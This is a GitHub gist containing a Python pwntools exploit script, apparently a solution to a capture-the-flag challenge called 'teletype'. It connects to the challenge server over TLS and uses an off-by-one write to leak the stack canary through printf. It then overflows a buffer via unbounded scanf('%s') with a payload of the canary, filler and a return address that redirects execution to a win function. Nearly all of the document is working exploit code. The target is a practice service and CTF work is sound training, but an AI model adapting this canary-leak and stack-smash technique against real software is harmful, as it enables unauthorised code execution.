Skip to content

Instantly share code, notes, and snippets.

@lawbyte
Created August 17, 2025 18:36
Show Gist options
  • Select an option

  • Save lawbyte/a1f44d67a442cea5deb9d244992f4adb to your computer and use it in GitHub Desktop.

Select an option

Save lawbyte/a1f44d67a442cea5deb9d244992f4adb to your computer and use it in GitHub Desktop.
#!/usr/bin/env python3
from pwn import *
import sys
context.arch = "amd64"
context.log_level = "info"
HOST = args.HOST or "teletype.serv1.cbd2025.cloud"
PORT = int(args.PORT or 443)
# non-PIE ret2win from your disassembly
RET2WIN = 0x4014d6 # retrieve_priority_log()
DASH = b"-------------------------------------"
def wait_prompt(io):
io.recvuntil(b"> ")
def do_write(io, content41: bytes, number: int):
assert len(content41) == 41
# at menu prompt already
io.sendline(b"1")
io.recvuntil(b"Enter document number")
io.recvuntil(b"> ")
io.sendline(str(number).encode())
io.recvuntil(b"Enter document content")
io.recvuntil(b"> ")
io.send(content41) # exact 41 bytes, no newline
io.recvuntil(b"Document appended to queue")
wait_prompt(io) # back to menu
def do_retrieve_and_leak(io, marker: bytes) -> bytes:
io.sendline(b"2")
io.recvuntil(b"Report: ")
blob = io.recvuntil(DASH, drop=True, timeout=10)
off = blob.find(marker)
if off < 0:
blob += io.recvrepeat(0.5)
off = blob.find(marker)
if off < 0:
log.failure("marker not found in leak; tail=%r" % blob[-128:])
sys.exit(1)
tail = blob[off + len(marker):]
if len(tail) < 8:
tail += io.recv(timeout=1) or b""
canary_mut = tail[:8]
if len(canary_mut) != 8:
log.failure("incomplete canary leak: %dB" % len(canary_mut))
sys.exit(1)
# true canary has 0x00 LSB by design
canary_real = b"\x00" + canary_mut[1:]
log.success("real canary = %s" % canary_real.hex())
# consume end-of-line then the menu prompt
io.recvuntil(b"\n")
wait_prompt(io)
return canary_real
def do_edit_overflow(io, canary_real: bytes):
io.sendline(b"3")
io.recvuntil(b"Enter document number")
io.recvuntil(b"> ")
io.sendline(b"0") # any int; writes into struct's first 4 bytes
io.recvuntil(b"Enter document content")
io.recvuntil(b"> ")
payload = b"A" * 40 # content[40]
payload += canary_real # correct canary (8)
payload += b"B" * 8 # saved RBP
payload += p64(RET2WIN) # RET → retrieve_priority_log()
# scanf("%s") stops at whitespace; send newline only after payload
io.send(payload + b"\n")
io.recvuntil(b"Document amended")
wait_prompt(io)
def main():
io = remote(HOST, PORT, ssl=True)
# boot screen prints slowly; sync to the first prompt once
wait_prompt(io)
# 9 filler docs (regular 41B off-by-one, but we don't care)
for i in range(9):
do_write(io, b"Z" * 41, i)
# 10th: craft for leak: "F@" path → printf("%s", s+2)
marker = b"Q" * 38
last = b"F@" + marker + b"\x42" # 41st byte flips canary LSB
do_write(io, last, 9)
# leak the (mutated) canary bytes that follow our marker; fix LSB to 0x00
canary_real = do_retrieve_and_leak(io, marker)
# smash using unlimited scanf("%s")
do_edit_overflow(io, canary_real)
# return from main into ret2win
io.sendline(b"5")
out = io.recvall(timeout=3)
try:
print(out.decode("latin-1", "ignore"))
except Exception:
print(repr(out))
io.close()
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment